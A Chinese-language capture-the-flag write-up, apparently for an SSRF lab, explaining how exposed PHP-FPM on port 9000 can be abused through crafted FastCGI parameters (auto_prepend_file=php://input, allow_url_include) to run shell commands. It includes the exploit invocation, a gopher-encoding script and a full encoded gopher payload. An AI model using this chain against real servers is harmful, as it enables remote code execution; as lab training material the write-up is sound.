題目介紹#
提示為:“這次。我們需要攻擊一下 fastcgi 協議咯。也許附件的文章會對你有點幫助”
題目附件是一篇文章的鏈接:Fastcgi 協議分析 && PHP-FPM 未授權訪問漏洞 && Exp 編寫
相關概念、漏洞解析#
FastCGI 協議#
相關資料解釋如下:
在靜態網站中,WEB 容器如 Apache、Nginx 相當於內容分發員的角色, 根據用戶請求的頁面從網站根目錄中返回給用戶;而在動態網站中,WEB 容器例如 Apache 會根據用戶的請求進行簡單處理後交給 php 解釋器;當 Apache 收到用戶對 index.php 的請求後,如果使用的是 CGI,會啟動對應的 CGI 程序,對應在這裡就是 PHP 的解析器。接下來 PHP 解析器會解析 php.ini 文件,初始化執行環境,然後處理請求,再以規定 CGI 規定的格式返回處理後的結果,退出進程,Web server 再把結果返回給瀏覽器。這就是一個完整的動態 PHP Web 訪問流程
這裡說的是使用 CGI,而 FastCGI 就相當於高性能的 CGI,與 CGI 不同的是它像一個常駐的 CGI,在啟動後會一直運行著,不需要每次處理數據時都啟動一次, 所以這裡引出下面這句概念,FastCGI 是語言無關的、可伸縮架構的 CGI 開放擴展,其主要行為是將 CGI 解釋器進程保持在內存中,並因此獲得較高的性能
php-fpm#
那麼什麼是 php-fpm,官方對它的解釋是 FPM(FastCGI 進程管理器)用於替換 PHP FastCGI 的大部分附加功能,對於高負載網站是非常有用;也就是說 php-fpm 是 FastCGI 的一個具體實現,並且提供了進程管理的功能在其中的進程中,包含了 master 和 worker 進程,其中 master 進程負責與 Web 服務器進行通信接收 HTTP 請求,再將請求轉發給 worker 進程進行處理,worker 進程主要負責動態執行 PHP 代碼,處理完成後,將處理結果返回給 Web 服務器,再由 Web 服務器將結果發送給客戶端。
PHP-FPM
未授權訪問漏洞
漏洞存在點:PHP-FPM 默認監聽 9000 端口,如果這個端口暴露在公網,則我們可以自己構造 fastcgi 協議,和 fpm 進行通信
在此處需要配合 nginx (iis7) 的解析漏洞來配合
在用戶訪問http://127.0.0.1/favicon.ico/.php 時,訪問到的文件是 favicon.ico,但卻按照.php 後綴解析了,而這個指定的文件涉及到的關鍵變量為 "SCRIPT_FILENAME";正常來說,SCRIPT_FILENAME 的值是一個不存在的文件 /var/www/html/favicon.ico/.php,是 PHP 設置中的一個選項 fix_pathinfo 導致了這個漏洞。PHP 為了支持 Path Info 模式而創造了 fix_pathinfo,在這個選項被打開的情況下,fpm 會判斷 SCRIPT_FILENAME 是否存在,如果不存在則去掉最後一個 / 及以後的所有內容,再次判斷文件是否存在,往次循環,直到文件存在
在fpm
某個版本之前,我們可以將SCRIPT_FILENAME
的值指定為任意後綴文件,比如/etc/passwd
但後來,fpm
的默認配置中增加了一個選項security.limit_extensions
:
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些後綴的文件允許被fpm
執行,默認是.php
所以,當我們再傳入/etc/passwd
的時候,將會返回Access denied.
由於這個配置項的限制,如果想利用PHP-FPM
的未授權訪問漏洞,首先就得找到一個已存在的PHP
文件,萬幸的是,通常使用源安裝php
的時候,服務器上都會附帶一些php
後綴的文件
在本次靶場中,就使用到了一个自帶的php
文件:/usr/local/lib/php/PEAR.php
那麼,控制fastcgi
協議通信的內容,為什麼就能執行PHP
代碼呢?
剛才說了,我們暫時只能控制SCRIPT_FILENAME
,讓fpm
執行任意目標服務器上的文件,而不是我們想要其執行的文件,但在php.ini
中有兩個特殊的配置項auto_prepend_file
和auto_append_file
,前者是讓PHP
在執行目標文件之前,先包含該文件中指定的文件,後者讓PHP
執行目標文件之後包含其指向的文件。
那麼加入我們設置auto_prepend_file
為php://input
,那麼就等於在執行任何php
文件前都要包含一遍POST
的內容。所以,我們只需要把待執行的代碼放在Body
中,他們就能被執行了(除此之外還需要開啟遠程文件包含選項allow_url_include
)
那麼怎麼設置auto_prepend_file
的值?
這又涉及到PHP-FPM
的兩個環境變量,PHP_VALUE
和PHP_ADMIN_VALUE
。這兩個環境變量就是用來設置PHP
配置項的,PHP_VALUE
可以設置模式為PHP_INI_USER
和PHP_INI_ALL
的選項,PHP_ADMIN_VALUE
可以設置所有選項
(disable_functions
除外,這個選項是PHP
加載的時候就確定了,在範圍內的函數直接不會被加載到PHP
上下文中)
最後我們設置auto_prepend_file = php://input
且allow_url_include = On
,將需要執行的代碼放在Body
中,即可執行任意代碼
涉及到傳入的一些關鍵參數如下:
{
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
給出的 exp 的鏈接為:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
解題#
首先,先監聽9000
端口來接收exp
,因為PHP-FPM
默認監聽9000
端口:nc -lvp 9000 > 1.txt
使用給出的exp
執行如下命令:
python ssrf_fastcgi_fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
使用xxd 1.txt
可以同時查看數據流和元數據:
使用hexdump 1.txt
可以只查看數據流
這樣還不能直接利用,還需把它進行url
編碼,用一個簡單的python
腳本來進行編碼:
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
得到編碼一次的流量,再編碼一次加上gopher
協議如下:
gopher://127.0.0.1:9000/\_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500
粘貼到burp
中對應請求包的位置,發包請求:
如圖所示,服務器根目錄下存在文件flag_78839d7acd24a4329a4205195d922fb6
,將命令換為查看這個文件再次執行得到最終flag
也可以使用Gopherus這個工具,相比使用exp
簡單一點:
參考文章: